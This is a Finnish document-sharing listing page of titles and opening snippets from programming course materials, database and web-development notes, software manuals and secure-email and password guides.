Johdanto Javaan ja tietokantojen käsittelyyn Java Database Connectivity (JDBC)

Johdanto Javaan ja tietokantojen käsittelyyn Java Database Connectivity (JDBC) HAAGA-HELIA ICT1TA006: Ohjelmointi 1 /5 Johdanto Javaan ja tietokantojen käsittelyyn Java Database Connectivity (JDBC) (Lähteet: Oracle java jdbc Tutorial, Arvo Lipitsäinen: Tietokannan käsittely JDBC:n

Lisätiedot

Tapahtumakalenteri & Jäsentietojärjestelmä Ylläpito

Tapahtumakalenteri & Jäsentietojärjestelmä Ylläpito Tapahtumakalenteri & Jäsentietojärjestelmä Ylläpito Henri Kinnunen, Seppo Tompuri, Tero Malkki, Matti Heiskanen, Tommi Rönkönharju, Tuomas Valkeapää Sisällysluettelo 1. Alkusanat.2 2. Asennusohje..2 3.

Lisätiedot

Ohjelmoinnin perusteet Y Python

Ohjelmoinnin perusteet Y Python Ohjelmoinnin perusteet Y Python T-106.1208 28.2.2011 T-106.1208 Ohjelmoinnin perusteet Y 28.2.2011 1 / 46 Ohjelmointiprojektin vaiheet 1. Määrittely 2. Ohjelman suunnittelu (ohjelman rakenne ja ohjelman

Lisätiedot

LINUX-HARJOITUS, MYSQL

LINUX-HARJOITUS, MYSQL LINUX-HARJOITUS, MYSQL Harjoituksen aiheena on tietokantapalvelimen asentaminen ja testaaminen. Asennetaan MySQL-tietokanta. Hieman linkkejä: http://www.mysql.com/, MySQL-tietokantaohjelman kotisivu. http://www.mysql.com/doc/en/index.html,

Lisätiedot

Ohjelmoinnin perusteet Y Python

Ohjelmoinnin perusteet Y Python Ohjelmoinnin perusteet Y Python T-106.1208 2.3.2011 T-106.1208 Ohjelmoinnin perusteet Y 2.3.2011 1 / 39 Kertausta: tiedoston avaaminen Kun ohjelma haluaa lukea tai kirjoittaa tekstitiedostoon, on ohjelmalle

Lisätiedot

Ohjelmoinnin perusteet Y Python

Ohjelmoinnin perusteet Y Python Ohjelmoinnin perusteet Y Python T-106.1208 2.3.2009 T-106.1208 Ohjelmoinnin perusteet Y 2.3.2009 1 / 28 Puhelinluettelo, koodi def lue_puhelinnumerot(): print "Anna lisattavat nimet ja numerot." print

Lisätiedot

Ylläpitodokumentti Labra

Ylläpitodokumentti Labra Ylläpitodokumentti Labra Helsinki 26.8.2008 Ohjelmistotuotantoprojekti HELSINGIN YLIOPISTO Tietojenkäsittelytieteen laitos 1 Kurssi 581260 Ohjelmistotuotantoprojekti (9+1op) Projektiryhmä Anssi Kapanen,

Lisätiedot

Luento 3. Jouni Ikonen - Jouni.Ikonen lut.fi

Luento 3. Jouni Ikonen - Jouni.Ikonen lut.fi CT30A3200 - WWW-sovellukset Luento 3 Jouni Ikonen - Jouni.Ikonen lut.fi Kalvot Arto Hämäläisen kalvojen pohjalta 1 Jouni Ikonen HTML-lomakkeet HTML-lomakkeiden avulla voidaan WWW-sovelluksessa hakea käyttäjän

Lisätiedot

Tiedonhallinnan perusteet. Viikko 1 Jukka Lähetkangas

Tiedonhallinnan perusteet. Viikko 1 Jukka Lähetkangas Tiedonhallinnan perusteet Viikko 1 Jukka Lähetkangas Kurssilla käytävät asiat Tietokantojen toimintafilosofian ja -tekniikan perusteet Tiedonsäilönnän vaihtoehdot Tietokantojen suunnitteleminen internetiä

Lisätiedot

SELVITYSRAPORTTI LABRA-VERKON MYSQL:n JA PHP:n KÄYTTÖÖNOTOSTA. Jarkko Kähkönen

SELVITYSRAPORTTI LABRA-VERKON MYSQL:n JA PHP:n KÄYTTÖÖNOTOSTA. Jarkko Kähkönen SELVITYSRAPORTTI LABRA-VERKON MYSQL:n JA PHP:n KÄYTTÖÖNOTOSTA Sisällysluettelo Luku 1 - Oman LABRA-sivutilan asennus ja käyttöönotto... 2 1.1 - LABRA-osoitteesi... 2 1.2 LABRA-tilan käyttö (verkko-asemana

Lisätiedot

Käyttöohje. Ticket Inspector. Versio 1.0. Sportum Oy

Käyttöohje. Ticket Inspector. Versio 1.0. Sportum Oy Käyttöohje Ticket Inspector Versio 1.0 Sportum Oy 10.5.2017 Sivu 1 Sisällysluettelo 1. Yleistä... 2 2. Kirjautuminen ensimmäisellä kerralla / PIN-koodin unohtuessa... 3 3. Tunnistautuminen... 4 4. Päänäkymä...

Lisätiedot

Written by Administrator Monday, 05 September 2011 15:14 - Last Updated Thursday, 23 February 2012 13:36

Written by Administrator Monday, 05 September 2011 15:14 - Last Updated Thursday, 23 February 2012 13:36 !!!!! Relaatiotietokannat ovat vallanneet markkinat tietokantojen osalta. Flat file on jäänyt siinä kehityksessä jalkoihin. Mutta sillä on kuitenkin tiettyjä etuja, joten ei se ole täysin kuollut. Flat

Lisätiedot

Ohjelmoinnin perusteet Y Python

Ohjelmoinnin perusteet Y Python Ohjelmoinnin perusteet Y Python T-106.1208 15.3.2010 T-106.1208 Ohjelmoinnin perusteet Y 15.3.2010 1 / 56 Tiedostoista: tietojen tallentaminen ohjelman suorituskertojen välillä Monissa sovelluksissa ohjelman

Lisätiedot

KServer Etäohjaus Spesifikaatio asiakaspuolen toteutuksille

KServer Etäohjaus Spesifikaatio asiakaspuolen toteutuksille KServer Etäohjaus 1 (5) KServer Etäohjaus Spesifikaatio asiakaspuolen toteutuksille Palvelimen toteutuksen ollessa versio 1.0, spesifikaation versio 1.0.0. 2009, Riku Eskelinen/ KServer Software Development

Lisätiedot

Sisällys. 12. Näppäimistöltä lukeminen. Yleistä. Yleistä 12.1 12.2 12.3 12.4

Sisällys. 12. Näppäimistöltä lukeminen. Yleistä. Yleistä 12.1 12.2 12.3 12.4 Sisällys 12. Näppäimistöltä lukeminen Arvojen lukeminen näppäimistöltä yleisesti. Arvojen lukeminen näppäimistöltä Java-kielessä.. Luetun arvon tarkistaminen. Tietovirrat ja ohjausmerkit. Scanner-luokka.

Lisätiedot

WWW-PALVELUN KÄYTTÖÖNOTTO LOUNEA OY

WWW-PALVELUN KÄYTTÖÖNOTTO LOUNEA OY 1 WWW-PALVELUN KÄYTTÖÖNOTTO LOUNEA OY 10.4.2015 Lounea Oy Tehdaskatu 6, 24100 Salo Puh. 029 707 00 Y-tunnus 0139471-8 www.lounea.fi Asiakaspalvelu 0800 303 00 Yrityspalvelu 0800 303 01 Myymälät 0800 303

Lisätiedot

Ohjelmassa henkilön etunimi ja sukunimi luetaan kahteen muuttujaan seuraavasti:

Ohjelmassa henkilön etunimi ja sukunimi luetaan kahteen muuttujaan seuraavasti: 1 (7) Tiedon lukeminen näppäimistöltä Scanner-luokan avulla Miten ohjelma saa käyttöönsä käyttäjän kirjoittamaa tekstiä? Järjestelmässä on olemassa ns. syöttöpuskuri näppäimistöä varten. Syöttöpuskuri

Lisätiedot

Käytin tehtävän tekemiseen Xubuntu 13.04 -käyttöjärjestelmää aikaisemmin tekemältäni LiveUSB-tikulta.

Käytin tehtävän tekemiseen Xubuntu 13.04 -käyttöjärjestelmää aikaisemmin tekemältäni LiveUSB-tikulta. Tehtävänanto - Asenna ja testaa LAMP - Aiheuta vähintään 3 virhettä ja analysoi lokista - Tee nimipohjainen virtuaalipalvelin, joissa toimii myös www. (Karvinen, T. 23.09.2013) Työympäristö Tein tehtävän

Lisätiedot

Toteutusdokumentti. Aija. Helsinki 1.9.2005 Ohjelmistotuotantoprojekti HELSINGIN YLIOPISTO Tietojenkäsittelytieteenlaitos

Toteutusdokumentti. Aija. Helsinki 1.9.2005 Ohjelmistotuotantoprojekti HELSINGIN YLIOPISTO Tietojenkäsittelytieteenlaitos Toteutusdokumentti Aija Helsinki 1.9.2005 Ohjelmistotuotantoprojekti HELSINGIN YLIOPISTO Tietojenkäsittelytieteenlaitos Sisältö 1. Johdanto...3 2. SQL -lauseet...3 3. Ajastettutoiminta - backrun.php...3

Lisätiedot

OHJE 1 (14) Peruskoulun ensimmäiselle luokalle ilmoittautuminen Wilmassa

OHJE 1 (14) Peruskoulun ensimmäiselle luokalle ilmoittautuminen Wilmassa OHJE 1 (14) Peruskoulun ensimmäiselle luokalle ilmoittautuminen Wilmassa Wilman hakemukset ja muut lomakkeet EIVÄT NÄY mobiililaitteisiin asennettavissa Wilma-sovelluksissa. Huoltajan tulee siis käyttää

Lisätiedot

Luento 5. Timo Savola. 28. huhtikuuta 2006

Luento 5. Timo Savola. 28. huhtikuuta 2006 UNIX-käyttöjärjestelmä Luento 5 Timo Savola 28. huhtikuuta 2006 Osa I Shell-ohjelmointi Ehtolause Lausekkeet suoritetaan jos ehtolausekkeen paluuarvo on 0 if ehtolauseke then lauseke

Lisätiedot

Tietokanta.java Luokka tarjoaa välineet tietokannan lukemiseen. Haetuista tiedoista muodostetaan kurssi- ja opetus-olioita.

Tietokanta.java Luokka tarjoaa välineet tietokannan lukemiseen. Haetuista tiedoista muodostetaan kurssi- ja opetus-olioita. Arkkitehtuurikuvaus Käytössä olevat java-luokat: Kansio: /WEB_INF/classes/ - käännetyt luokat Kansio: /WEB_INF/src/ - lähdekoodi custom_pojos: Kurssi.java Java-luokka, jonka sisältö vastaa tietokannassa

Lisätiedot

Ilmoitus saapuneesta turvasähköpostiviestistä

Ilmoitus saapuneesta turvasähköpostiviestistä Tullin turvasähköposti Asiakkaan ohje www.tulli.fi versio 2.2 8.1.2015 Korvaa version 2.1 22.5.2014 Tullin turvasähköposti Tulli lähettää sinulle sähköpostiviestin salattuna silloin, kun viesti tai sen

Lisätiedot

Tietokannat II -kurssin harjoitustyö

Tietokannat II -kurssin harjoitustyö Tietokannat II -kurssin harjoitustyö Jyri Lehtonen (72039), jkoleh@utu.fi Azad Hajipour (72187), azhaji@utu.fi 10.6.2007 Sisältö 1. Tietokannan kuvaus... 1 1.1 Tietokannan rakenne... 1 1.2 Relaatiokaava

Lisätiedot

AJAX-konsepti AJAX. Asynkronisuus. Nykyisten web-ohjelmien ongelmia. Asynchronous JavaScript And XML

AJAX-konsepti AJAX. Asynkronisuus. Nykyisten web-ohjelmien ongelmia. Asynchronous JavaScript And XML AJAX-konsepti AJAX Asynchronous JavaScript And XML Viimeisin muoti-ilmiö web-ohjelmoinissa, termi Ajax tuli käyttöön vuoden 2005 aikana Joukko teknologioita, joiden avulla voidaan toteuttaa uudenlaisen

Lisätiedot

Alkuarvot ja tyyppimuunnokset (1/5) Alkuarvot ja tyyppimuunnokset (2/5) Alkuarvot ja tyyppimuunnokset (3/5)

Alkuarvot ja tyyppimuunnokset (1/5) Alkuarvot ja tyyppimuunnokset (2/5) Alkuarvot ja tyyppimuunnokset (3/5) Alkuarvot ja tyyppimuunnokset (1/5) Aiemmin olemme jo antaneet muuttujille alkuarvoja, esimerkiksi: int luku = 123; Alkuarvon on oltava muuttujan tietotyypin mukainen, esimerkiksi int-muuttujilla kokonaisluku,

Lisätiedot

Julkinen. Suomen Pankin ja Finanssivalvonnan suojattu sähköposti: ulkoisen käyttäjän ohje

Julkinen. Suomen Pankin ja Finanssivalvonnan suojattu sähköposti: ulkoisen käyttäjän ohje Muistio 1 (7) Suomen Pankin ja Finanssivalvonnan suojattu sähköposti: ulkoisen käyttäjän ohje Sisällys 1 Johdanto... 1 2 Suojatun viestin vastaanottaminen... 1 3 Suojatun viestin lukeminen... 2 4 Vastaanotetun

Lisätiedot

SQL Buddy JAMK Labranet Wiki

SQL Buddy JAMK Labranet Wiki Page 1 of 9 SQL Buddy JAMK Labranet Wiki Sisällysluettelo Yleistä SQL Buddy:sta kotisivu :http://sqlbuddy.com/ SQL Buddy on kevyt hallintatyökalu MySQL-tietokannalle. Järjestelmävaatimukset Serverin vaatimukset

Lisätiedot

Luottamuksellinen sähköposti Trafissa

Luottamuksellinen sähköposti Trafissa OHJE 1 (8) Luottamuksellinen sähköposti Trafissa Trafi käyttää Deltagon Sec@GW -ohjelmistoa sähköpostin luottamuksellisuuden suojaamiseen. D-Envelope sovelluksen avulla viestien vastaanottaminen ei edellytä

Lisätiedot

Olio-ohjelmointi Javalla

Olio-ohjelmointi Javalla 1 Olio-ohjelmointi Javalla Olio-ohjelmointi Luokka Attribuutit Konstruktori Olion luominen Metodit Olion kopiointi Staattinen attribuutti ja metodi Yksinkertainen ohjelmaluokka Ohjelmaluokka 1 Olio-ohjelmointi

Lisätiedot

Tikon ostolaskujen käsittely

Tikon ostolaskujen käsittely Toukokuu 2014 1 (8) Toukokuu 2014 2 (8) Sisällysluettelo 1. Käyttäjäasetukset... 3 2. Yleiset parametrit... 3 3. Kierrätysasetukset... 3 4. palvelimen tiedot... 4 5. lähetyksen aktivointi... 5 6. Eräajot

Lisätiedot

KAMPUSSALASANAN VAIHTAMINEN (SAVONIA-AMK KÄYTTÄJÄT)

KAMPUSSALASANAN VAIHTAMINEN (SAVONIA-AMK KÄYTTÄJÄT) KAMPUSSALASANAN VAIHTAMINEN (SAVONIA-AMK KÄYTTÄJÄT) Moodlen tunnukset ovat samat kuin verkon (=tietokoneille kirjautumisen), sähköpostin, Asion, Adobe Connectin ja Webropolin käyttäjätunnukset. Näiden

Lisätiedot

Tik-76.115 Tietojenkäsittelyopin ohjelmatyö Tietotekniikan osasto Teknillinen korkeakoulu KÄYTTÖOHJE. LiKe Liiketoiminnan kehityksen tukiprojekti

Tik-76.115 Tietojenkäsittelyopin ohjelmatyö Tietotekniikan osasto Teknillinen korkeakoulu KÄYTTÖOHJE. LiKe Liiketoiminnan kehityksen tukiprojekti Tik-76.115 Tietojenkäsittelyopin ohjelmatyö Tietotekniikan osasto Teknillinen korkeakoulu JÄRJESTELMÄN KÄYTTÖOHJE LiKe Liiketoiminnan kehityksen tukiprojekti Versio: 1.1 Tila: hyväksytty Päivämäärä: 13.2.2001

Lisätiedot

EMVHost Online SUBJECT: EMVHOST ONLINE CLIENT - AUTOMAATTISIIRROT COMPANY: EMVHost Online Client sovelluksen käyttöohje AUTHOR: DATE: 15.03.

EMVHost Online SUBJECT: EMVHOST ONLINE CLIENT - AUTOMAATTISIIRROT COMPANY: EMVHost Online Client sovelluksen käyttöohje AUTHOR: DATE: 15.03. EMVHost Online SUBJECT: COMPANY: COMMENTS: AUTHOR: EMVHOST ONLINE CLIENT - AUTOMAATTISIIRROT NETS OY EMVHost Online Client sovelluksen käyttöohje NETS OY DATE: 15.03.2011 VERSION: 1.0 1 SISÄLLYS SISÄLLYS...

Lisätiedot

582203 Tietokantasovellus (4 op) - Web-sovellukset ja niiden toteutus

582203 Tietokantasovellus (4 op) - Web-sovellukset ja niiden toteutus 582203 Tietokantasovellus (4 op) - Web-sovellukset ja niiden toteutus Sisältö Mikä on web-sovellus? Selaimen rooli web-sovelluksessa Palvelimen rooli web-sovelluksessa Aineistopyynnöt Tiedon välittäminen

Lisätiedot

Käyttöohje. Aija. Helsinki Ohjelmistotuotantoprojekti HELSINGIN YLIOPISTO Tietojenkäsittelytieteen laitos

Käyttöohje. Aija. Helsinki Ohjelmistotuotantoprojekti HELSINGIN YLIOPISTO Tietojenkäsittelytieteen laitos Käyttöohje Aija Helsinki 2.9.2005 Ohjelmistotuotantoprojekti HELSINGIN YLIOPISTO Tietojenkäsittelytieteen laitos Sisältö 1. Yleistä...3 2. Järjestelmän toiminnot...4 2.1 Rekisteröityminen...4 2.2 Sisäänkirjautuminen...4

Lisätiedot

Ohjelmoinnin perusteet Y Python

Ohjelmoinnin perusteet Y Python Ohjelmoinnin perusteet Y Python T-106.1208 4.3.2009 T-106.1208 Ohjelmoinnin perusteet Y 4.3.2009 1 / 35 Tiedostot Tiedostojen käsittelyä tarvitaan esimerkiksi seuraavissa tilanteissa: Ohjelman käsittelemiä

Lisätiedot

2. Lisää Java-ohjelmoinnin alkeita. Muuttuja ja viittausmuuttuja (1/4) Muuttuja ja viittausmuuttuja (2/4)

2. Lisää Java-ohjelmoinnin alkeita. Muuttuja ja viittausmuuttuja (1/4) Muuttuja ja viittausmuuttuja (2/4) 2. Lisää Java-ohjelmoinnin alkeita Muuttuja ja viittausmuuttuja Vakio ja literaalivakio Sijoituslause Syötteen lukeminen ja Scanner-luokka 1 Muuttuja ja viittausmuuttuja (1/4) Edellä mainittiin, että String-tietotyyppi

Lisätiedot

Salasanojen hallinta. Salasanojen hallintaopas RESTAURANT ENTERPRISE SOLUTION

Salasanojen hallinta. Salasanojen hallintaopas RESTAURANT ENTERPRISE SOLUTION Salasanojen hallinta Salasanojen hallintaopas RESTAURANT ENTERPRISE SOLUTION Restaurant Enterprise Solution Asiakirjan tarkoitus Tämä asiakirja kertoo tarvittavat säännöt kuinka hallinnoida RES salasanoja

Lisätiedot

Tikon ostolaskujen käsittely

Tikon ostolaskujen käsittely Toukokuu 2013 1 (7) 6.3.0 Copyright Aditro 2013 Toukokuu 2013 2 (7) Sisällysluettelo 1. Käyttäjäasetukset... 3 2. Yleiset parametrit... 3 3. Kierrätysasetukset... 3 4. palvelimen tiedot... 4 5. lähetyksen

Lisätiedot

OPPITUNTI 20 Tilan tallentaminen istuntofunktioilla

OPPITUNTI 20 Tilan tallentaminen istuntofunktioilla 20. Tilan tallentaminen istuntofunktiolla 353 OPPITUNTI 20 Tilan tallentaminen istuntofunktioilla Edellisellä tunnilla tutkimme tilan tallentamista evästeiden ja kyselymerkkijonojen avulla. PHP4 on kuitenkin

Lisätiedot

Ohjelmoinnin perusteet Y Python

Ohjelmoinnin perusteet Y Python Ohjelmoinnin perusteet Y Python T-106.1208 1.3.2010 T-106.1208 Ohjelmoinnin perusteet Y 1.3.2010 1 / 36 Monikko Monikko (engl. tuple) muistuttaa listaa, mutta monikon sisältöä ei voi muuttaa sen jälkeen,

Lisätiedot

ICT1TN004. Lomakkeet. Heikki Hietala

ICT1TN004. Lomakkeet. Heikki Hietala Lomakkeet Heikki Hietala Lomakkeet Lomakkeita käytetään keräämään tietoa käyttäjältä ja siirtämään se palvelimelle Lomakkeen luominen ei yksin riitä, vaan pitää luoda myös lomakkeenkäsittelijä Lomakkeen

Lisätiedot

Metodit. Metodien määrittely. Metodin parametrit ja paluuarvo. Metodien suorittaminen eli kutsuminen. Metodien kuormittaminen

Metodit. Metodien määrittely. Metodin parametrit ja paluuarvo. Metodien suorittaminen eli kutsuminen. Metodien kuormittaminen Metodit Metodien määrittely Metodin parametrit ja paluuarvo Metodien suorittaminen eli kutsuminen Metodien kuormittaminen 1 Mikä on metodi? Metodi on luokan sisällä oleva yhteenkuuluvien toimintojen kokonaisuus

Lisätiedot

Toimittajaportaalin pikaohje

Toimittajaportaalin pikaohje 1 Toimittajaportaalin pikaohje Toimittajaportaalin rekisteröityminen Toimittajaportaalin sisäänkirjautuminen Laskun luonti Liitteen lisääminen laskulle Asiakkaiden hallinta Uuden asiakkaan lisääminen Laskujen

Lisätiedot

Ohjelmoinnin perusteet Y Python

Ohjelmoinnin perusteet Y Python Ohjelmoinnin perusteet Y Python T-106.1208 9.2.2009 T-106.1208 Ohjelmoinnin perusteet Y 9.2.2009 1 / 35 Listat Esimerkki: halutaan kirjoittaa ohjelma, joka lukee käyttäjältä 30 lämpötilaa. Kun lämpötilat

Lisätiedot

OPPITUNTI 12 MySQL-tietokannan käyttö

OPPITUNTI 12 MySQL-tietokannan käyttö 12. MySQL-tietokannankäyttö 211 OPPITUNTI 12 MySQL-tietokannan käyttö PHP-kieleen kuuluu olennaisesti tietokantojen käyttämisen helppous. Tällä tunnilla keskitymme MySQLtietokantaan, mutta samanlaisia

Lisätiedot

SSH Secure Shell & SSH File Transfer

SSH Secure Shell & SSH File Transfer SSH Secure Shell & SSH File Transfer TIETOHALLINTO Janne Suvanto 1.9 2002 Sisällysluettelo Sisällysluettelo... 1 Yleistä... 2 SSH Secure Shell ohjelman asetukset... 3 POP3 tunnelin asetukset... 6 Yhteyden

Lisätiedot

Sähköpostitilin luonti 07.06.2011

Sähköpostitilin luonti 07.06.2011 Sähköpostitilin luonti 07.06.2011 SÄHKÖPOSTITILIN LUONTI Tilin luonti pääkäyttäjän hallintaportaalissa 3 Sähköpostitilin luonti Outlook 2010 ohjelmaan 8 Tämä ohje on lyhennetty versio sähköpostilin Hallintaportaalin

Lisätiedot

sivu 1 Verkkopäätteen muuttaminen Anvian uuteen tekniikkaan Ohje käy seuraaviin verkkopäätteisiin

sivu 1 Verkkopäätteen muuttaminen Anvian uuteen tekniikkaan Ohje käy seuraaviin verkkopäätteisiin sivu 1 Verkkopäätteen muuttaminen Anvian uuteen tekniikkaan Ohje käy seuraaviin verkkopäätteisiin Zyxel Prestige 645 ISP Zyxel Prestige 645 WEB Zyxel Prestige 645R Zyxel Prestige 645 Ennen aloitusta tarkista,

Lisätiedot

Visma Nova. Visma Nova ASP käyttö ja ohjeet

Visma Nova. Visma Nova ASP käyttö ja ohjeet Visma Nova Visma Nova ASP käyttö ja ohjeet Oppaan päiväys: 2.2.2012. Helpdesk: http://www.visma.fi/asiakassivut/helpdesk/ Visma Software Oy pidättää itsellään oikeuden mahdollisiin parannuksiin ja/tai

Lisätiedot

KYMP Webmail -palvelu

KYMP Webmail -palvelu KYMP Webmail -palvelu Sisältö 1. Kirjautuminen... 3 2. Viestin merkinnät... 4 3. Viestien lukeminen... 4 Viestiin vastaaminen... 4 Viestin välittäminen edelleen / uudelleen ohjaus... 5 4. Viestin kirjoittaminen...

Lisätiedot

IDL - proseduurit. ATK tähtitieteessä. IDL - proseduurit

IDL - proseduurit. ATK tähtitieteessä. IDL - proseduurit IDL - proseduurit 25. huhtikuuta 2017 Viimeksi käsiteltiin IDL:n interaktiivista käyttöä, mutta tämä on hyvin kömpelöä monimutkaisempia asioita tehtäessä. IDL:llä on mahdollista tehdä ns. proseduuri-tiedostoja,

Lisätiedot

Lemonsoft SaaS -pilvipalvelu OHJEET

Lemonsoft SaaS -pilvipalvelu OHJEET Lemonsoft SaaS -pilvipalvelu OHJEET Lemonsoft-käyttäjätunnukset Käyttäjätunnukset voit tilata suoraan omalta Lemonsoft-myyjältäsi tai Lemonsoftin asiakaspalvelun kautta. Käyttäjätunnusta tilatessasi ilmoitathan

Lisätiedot

Ohjelmoinnin perusteet Y Python

Ohjelmoinnin perusteet Y Python Ohjelmoinnin perusteet Y Python T-106.1208 25.2.2009 T-106.1208 Ohjelmoinnin perusteet Y 25.2.2009 1 / 34 Syötteessä useita lukuja samalla rivillä Seuraavassa esimerkissä käyttäjä antaa useita lukuja samalla

Lisätiedot

ATK tähtitieteessä. Osa 3 - IDL proseduurit ja rakenteet. 18. syyskuuta 2014

ATK tähtitieteessä. Osa 3 - IDL proseduurit ja rakenteet. 18. syyskuuta 2014 18. syyskuuta 2014 IDL - proseduurit Viimeksi käsiteltiin IDL:n interaktiivista käyttöä, mutta tämä on hyvin kömpelöä monimutkaisempia asioita tehtäessä. IDL:llä on mahdollista tehdä ns. proseduuri-tiedostoja,

Lisätiedot

Käyttöohje. Labra. Helsinki 25.8.2008 Ohjelmistotuotantoprojekti HELSINGIN YLIOPISTO Tietojenkäsittelytieteen laitos

Käyttöohje. Labra. Helsinki 25.8.2008 Ohjelmistotuotantoprojekti HELSINGIN YLIOPISTO Tietojenkäsittelytieteen laitos Käyttöohje Labra Helsinki 25.8.2008 Ohjelmistotuotantoprojekti HELSINGIN YLIOPISTO Tietojenkäsittelytieteen laitos 1 Kurssi 581260 Ohjelmistotuotantoprojekti (9+1op) Projektiryhmä Henrik Naakka, projektipäällikkö,

Lisätiedot

Lyseopaneeli 2.0. Käyttäjän opas

Lyseopaneeli 2.0. Käyttäjän opas Lyseopaneeli 2.0 Käyttäjän opas 1. Esittely Lyseopaneeli on Oulun Lyseon lukion käyttäjätietojen hallintapalvelu jonka tarkoitus on niputtaa yhteen muutamia oleellisia toimintoja. 2. Yleistä paneelin käytöstä

Lisätiedot

Webpalvelin muistitikulle - Ohje

Webpalvelin muistitikulle - Ohje - Ohje Jari Sarja jari.sarja @ 2017 Creative Commons Nimeä-JaaSamoin 4.0 Kansainvälinen SISÄLLYSLUETTELO 1 Johdanto... 3 1.1 Miksi asennus muistitikulle?... 3 2 Webpalvelimen asennus... 4 3 Käyttöliittymä...

Lisätiedot

Tietokannat. CREATE TABLE table(col1,col2,... ); Luo uuden taulun. CREATE TABLE opiskelijat(opnumero,etunimi,sukunimi);

Tietokannat. CREATE TABLE table(col1,col2,... ); Luo uuden taulun. CREATE TABLE opiskelijat(opnumero,etunimi,sukunimi); Tietokannat SQL-peruskomentojen pikaopas CREATE TABLE table(col1,col2,... ); Luo uuden taulun. CREATE TABLE opiskelijat(opnumero,etunimi,sukunimi); INSERT INTO table VALUES(val1,val2,... ); Lisää tauluun

Lisätiedot

Ohjausjärjestelmien jatkokurssi. Visual Basic vinkkejä ohjelmointiin

Ohjausjärjestelmien jatkokurssi. Visual Basic vinkkejä ohjelmointiin Ohjausjärjestelmien jatkokurssi Visual Basic vinkkejä ohjelmointiin http://www.techsoft.fi/oskillaattoripiirit.htm http://www.mol.fi/paikat/job.do?lang=fi&jobid=7852109&index=240&anchor=7852109 Yksiköt

Lisätiedot

Toimittajaportaalin rekisteröityminen Toimittajaportaalin sisäänkirjautuminen Laskun luonti Liitteen lisääminen laskulle Asiakkaiden hallinta Uuden

Toimittajaportaalin rekisteröityminen Toimittajaportaalin sisäänkirjautuminen Laskun luonti Liitteen lisääminen laskulle Asiakkaiden hallinta Uuden 1 Toimittajaportaalin rekisteröityminen Toimittajaportaalin sisäänkirjautuminen Laskun luonti Liitteen lisääminen laskulle Asiakkaiden hallinta Uuden asiakkaan lisääminen Laskujen haku Salasanan vaihto

Lisätiedot

Fakta versio 5.3.0.1069 Forecast versio 1.3.0.53

Fakta versio 5.3.0.1069 Forecast versio 1.3.0.53 1 (7) Fakta versio 5.3.0.1069 versio 1.3.0.53 Ohessa on luettelo uusista ja muuttuneista toiminnoista ja ominaisuuksista version x.2.1 jälkeen. Porautuminen saldoista tapahtuariveille.. Jako on mahdollista

Lisätiedot

Digitaalisen median tekniikat. Luento 4: JavaScript

Digitaalisen median tekniikat. Luento 4: JavaScript Digitaalisen median tekniikat Luento 4: JavaScript Luennot 1. Intro 2. XHTML 3. CSS 4. JavaScript Historia Syntaksi Dom Esimerkki: kuvagalleria 5. JavaScript-kirjastot & AJAX 6. Käytettävyys & saavutettavuus

Lisätiedot

Ohjelmisto on tietokanta pohjainen tiedostojärjestelmä, joka sisältää virtuaalisen hakemisto rakenteen.

Ohjelmisto on tietokanta pohjainen tiedostojärjestelmä, joka sisältää virtuaalisen hakemisto rakenteen. 1 / 50 1. Etusivu Ohjelmisto on tietokanta pohjainen tiedostojärjestelmä, joka sisältää virtuaalisen hakemisto rakenteen. Virtuaali hakemistoihin voi tuoda tiedostoja tietokoneelta tai luoda niitä tällä

Lisätiedot

Tehtävä 1. Tietojen lisääminen, poistaminen, päivittäminen ja tulostaminen

Tehtävä 1. Tietojen lisääminen, poistaminen, päivittäminen ja tulostaminen Esimerkki: Tehtävä 1. Tietojen lisääminen, poistaminen, päivittäminen ja tulostaminen Luo tietokanta Koulu. Tietokantaan lisätään 3 taulua. Kurssit-taulu: kurssiid not null primary key INTEGER aineid not

Lisätiedot

Pikaohje formaatin valmistamiseen

Pikaohje formaatin valmistamiseen Pikaohje formaatin valmistamiseen Esko Otava Oy ver.1.0 Pääikkunasta (tulostusikkunasta) valitaan Cards-Show cards manager Paina Add 2 Paina New Kortinsuunnitteluikkuna on jaettu kolmeen osaan: Vasemmalla

Lisätiedot

Action Request System

Action Request System Action Request System Manu Karjalainen Ohjelmistotuotantovälineet seminaari HELSINGIN YLIOPISTO Tietojenkäsittelytieteen laitos 25.10.2000 Action Request System (ARS) Manu Karjalainen Ohjelmistotuotantovälineet

Lisätiedot

Julkinen. Suomen Pankin ja Finanssivalvonnan suojattu sähköposti: ulkoisen käyttäjän ohje

Julkinen. Suomen Pankin ja Finanssivalvonnan suojattu sähköposti: ulkoisen käyttäjän ohje Ohje 1 (10) Suomen Pankin ja Finanssivalvonnan suojattu sähköposti: ulkoisen käyttäjän ohje Sisällys 1 Johdanto... 1 2 Suojatun viestin vastaanottaminen... 1 3 Suojatun viestin lukeminen... 2 4 Vastaanotetun

Lisätiedot

Harjoitustyö: virtuaalikone

Harjoitustyö: virtuaalikone Harjoitustyö: virtuaalikone Toteuta alla kuvattu virtuaalikone yksinkertaiselle olio-orientoituneelle skriptauskielelle. Paketissa on testaamista varten mukana kaksi lyhyttä ohjelmaa. Ohjeita Noudata ohjelman

Lisätiedot

Toimittajaportaalin pikaohje

Toimittajaportaalin pikaohje 1 Toimittajaportaalin pikaohje Toimittajaportaalin rekisteröityminen Toimittajaportaalin sisäänkirjautuminen Laskun luonti Liitteen lisääminen laskulle Asiakkaiden hallinta Uuden asiakkaan lisääminen Laskujen

Lisätiedot

OFFICE 365 PIKAOHJE 14.01.2014

OFFICE 365 PIKAOHJE 14.01.2014 OFFICE 365 PIKAOHJE 14.01.2014 SISÄLTÖ 1. O365 AVAAMINEN 3 2. KIRJAUTUMINEN 3 3. SALASANAN VAIHTAMINEN 5 4. SÄHKÖPOSTIN KANSIO RAKENNE 6 5. POISSAOLOVIESTI 7 6. SÄHKÖPOSTIN ALLEKIRJOITUS 8 7. YHTEYSTIEDOT

Lisätiedot

Maestro Lappeenranta Mannerheiminkatu Lappeenranta. Maestro Helsinki Huopalahdentie Helsinki

Maestro Lappeenranta Mannerheiminkatu Lappeenranta. Maestro Helsinki Huopalahdentie Helsinki 1 Uusi asiakasyrityksen käyttäjätunnus MaestroNG-järjestelmään 1 Yleistä... 2 2 Perusta käyttäjäryhmät... 2 3 Lisää käyttäjäryhmille oikeudet... 3 Oikeus sivustoon... 3 Oikeus firmaan... 4 Oikeudet sovelluksiin...

Lisätiedot

Käsikirjan paperiversiota ei enää ylläpidetä ohjeen päivämäärän jälkeen. Viimeisimmät versiot ohjeista löydät ohjelman Help-ruudulta.

